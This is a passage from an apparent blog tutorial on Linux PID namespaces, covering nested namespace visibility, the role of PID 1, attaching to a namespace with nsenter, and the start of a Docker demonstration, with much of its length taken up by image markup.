https://substackcdn.com/image/fetch/$s_!5bf5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png 1272w, https://substackcdn.com/image/fetch/$s_!5bf5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5bf5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png" width="1024" height="258" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:258,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:41411,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!5bf5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png 424w, https://substackcdn.com/image/fetch/$s_!5bf5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png 848w, https://substackcdn.com/image/fetch/$s_!5bf5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png 1272w, https://substackcdn.com/image/fetch/$s_!5bf5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Here, the <code>--target 13</code> option tells <code>nsenter</code> to attach to the process with PID 13 (which is running inside the grandchild namespace). The <code>--pid</code> and <code>--mount</code> flags ensure we enter both its PID and mount namespaces, giving us a proper view of that isolated environment.</p><p>We&#8217;ll discuss how <code>nsenter</code> works in more detail later, but for now, this demonstrates how nested PID namespaces maintain strict process isolation.</p><p>To visualize the hierarchy:</p><pre><code><code>Host (PID namespace level 0)
 &#9492;&#9472;&#9472; Child namespace (level 1)
      &#9492;&#9472;&#9472; Grandchild namespace (level 2)</code></code></pre><p>Each namespace sees only processes at its level and below:</p><ul><li><p>The <strong>host</strong> can see all processes.</p></li><li><p>The <strong>child</strong> can see its own and any descendants.</p></li><li><p>The <strong>grandchild</strong> can see only itself.</p></li></ul><p>This layered visibility model ensures isolation while keeping control in the hands of the parent namespace, the same principle container runtimes use when managing nested containers or sandboxes.</p><h2>The Role of PID 1 Inside Namespaces</h2><p>In Linux, the very first process started by the kernel during boot is assigned <strong>PID 1</strong>, traditionally <code>/sbin/init</code> or <code>systemd</code>.</p><p>This process is special because it acts as the parent of all other processes on the system and is responsible for reaping orphaned children and handling system shutdown.</p><p>The same rule applies inside PID namespaces.</p><p>Whenever a new PID namespace is created, the first process started inside it becomes <strong>PID 1</strong> <em>within that namespace</em>, its own miniature version of the system&#8217;s init process.</p><p>This role carries similar responsibilities, behaves differently from ordinary processes, and is responsible for several critical tasks:</p><ul><li><p><strong>Reaping zombie processes:</strong> cleaning up processes that have finished executing but haven&#8217;t been removed from the process table.</p></li><li><p><strong>Receiving orphaned processes:</strong> when a parent process exits, its orphaned children are adopted by PID 1.</p></li><li><p><strong>Controlling the namespace lifecycle:</strong> when PID 1 exits, the entire namespace is destroyed, and all remaining processes are automatically terminated.</p></li></ul><p>This mechanism keeps each namespace self-contained and prevents orphaned or lingering processes after it ends. One of the core principles that container runtimes rely on for process isolation and cleanup.</p><p>In containerized environments, PID 1 is often the main application process itself (like <code>nginx</code>, <code>bash</code>, or <code>python</code>), or a lightweight init system such as <strong>tini</strong> or <strong>dumb-init</strong>, which handles process reaping and signal forwarding on behalf of the container.</p><h2>Using <code>nsenter</code> to Inspect Processes Inside Another Namespace</h2><p>Let&#8217;s now discuss the <code>nsenter</code> command in greater detail.</p><p>The <code>nsenter</code> command allows you to enter an existing namespace from another namespace and interact with it directly.<br>It&#8217;s especially handy for troubleshooting, monitoring, or exploring what&#8217;s happening inside containers or isolated environments without using Docker or Podman.</p><p>Let&#8217;s see it in action.</p><p>First, go back to <strong>child-ns-01</strong>, which has the namespace ID <code>4026532194</code>, and list all processes:</p><pre><code><code># ps aux</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sbX-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sbX-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png 424w, https://substackcdn.com/image/fetch/$s_!sbX-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png 848w, https://substackcdn.com/image/fetch/$s_!sbX-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png 1272w, https://substackcdn.com/image/fetch/$s_!sbX-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sbX-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png" width="1023" height="243" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:243,&quot;width&quot;:1023,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:49908,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sbX-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png 424w, https://substackcdn.com/image/fetch/$s_!sbX-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png 848w, https://substackcdn.com/image/fetch/$s_!sbX-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png 1272w, https://substackcdn.com/image/fetch/$s_!sbX-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31b743f4-85ea-42d1-beb9-fb06ad9b14a3_1023x243.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Now switch back to the <strong>parent-ns</strong> terminal and find the corresponding host PIDs for the processes running inside that namespace:</p><pre><code><code>$ sudo ps -eo pid,pidns,cmd | grep 4026532194</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!k5zb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!k5zb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png 424w, https://substackcdn.com/image/fetch/$s_!k5zb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png 848w, https://substackcdn.com/image/fetch/$s_!k5zb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png 1272w, https://substackcdn.com/image/fetch/$s_!k5zb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!k5zb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png" width="1023" height="243" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:243,&quot;width&quot;:1023,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:50816,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!k5zb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png 424w, https://substackcdn.com/image/fetch/$s_!k5zb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png 848w, https://substackcdn.com/image/fetch/$s_!k5zb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png 1272w, https://substackcdn.com/image/fetch/$s_!k5zb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e26fc3c-f187-44de-a967-f50b7ce19122_1023x243.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>From this, you can see that process <strong>2256</strong> on the host corresponds to the <code>bash</code> process inside the PID namespace <code>4026532194</code>.</p><p>Now, from the <strong>parent-ns</strong>, use <code>nsenter</code> to attach to that process&#8217;s namespace:</p><pre><code><code>$ sudo nsenter --target 2256 --pid --mount /bin/bash</code></code></pre><p>This opens a new shell inside the same PID and mount namespaces as the process with PID <code>2256</code>.</p><p>You can verify this by listing the processes again:</p><pre><code><code># ps aux</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0eXk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0eXk!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png 424w, https://substackcdn.com/image/fetch/$s_!0eXk!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png 848w, https://substackcdn.com/image/fetch/$s_!0eXk!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png 1272w, https://substackcdn.com/image/fetch/$s_!0eXk!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0eXk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png" width="1023" height="308" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:308,&quot;width&quot;:1023,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:63999,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!0eXk!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png 424w, https://substackcdn.com/image/fetch/$s_!0eXk!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png 848w, https://substackcdn.com/image/fetch/$s_!0eXk!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png 1272w, https://substackcdn.com/image/fetch/$s_!0eXk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9211f5e-360e-4a72-b843-9d8c5fa972ca_1023x308.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>You&#8217;ll now see the same limited process list that exists inside the namespace, confirming that <code>nsenter</code> has successfully joined it.</p><p>This confirms that <code>nsenter</code> successfully joined the namespace.<br>You can use the same approach with any process in that namespace to achieve the same result.</p><p>This ability to &#8220;attach&#8221; to another process&#8217;s namespace is what makes nsenter invaluable for debugging containers, inspecting running processes, or performing forensic analysis without needing container-specific tooling.</p><h2>Seeing It All Together</h2><p>Now that you&#8217;ve seen how PID namespaces work manually, let&#8217;s look at how containers use them in practice.</p><p>We&#8217;ll use Docker for this demonstration, but you can try the same with Podman or any other container runtime.</p><p>Before we begin, make sure you&#8217;ve exited all previously created namespaces so that you&#8217;re back at the <strong>parent-ns</strong> terminal (the host).</p><p>If Docker isn&#8217;t installed, install it first, we&#8217;ll continue using it throughout the rest of this series.</p><p>Run an interactive container with a bash shell:</p><pre><code><code>$ docker run -it --name pidns-demo nginx /bin/bash</code></code></pre><p>Once inside the container, install the <code>procps</code> package (so we can use the <code>ps</code> command):</p><pre><code><code># apt update &amp;&amp; apt install procps -y</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5GHV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5GHV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png 424w, https://substackcdn.com/image/fetch/$s_!5GHV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png 848w, https://substackcdn.com/image/fetch/$s_!5GHV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png 1272w, https://substackcdn.com/image/fetch/$s_!5GHV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5GHV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png" width="1023" height="581" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:581,&quot;width&quot;:1023,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:104243,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!5GHV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png 424w, https://substackcdn.com/image/fetch/$s_!5GHV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png 848w, https://substackcdn.com/image/fetch/$s_!5GHV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png 1272w, https://substackcdn.com/image/fetch/$s_!5GHV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F894b2769-08c7-4279-89e4-c388b0d086da_1023x581.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now check the processes running inside the container:</p><pre><code><code># ps aux</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7FMY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7FMY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png 424w, https://substackcdn.com/image/fetch/$s_!7FMY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png 848w, https://substackcdn.com/image/fetch/$s_!7FMY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png 1272w, https://substackcdn.com/image/fetch/$s_!7FMY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7FMY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png" width="1023" height="190" 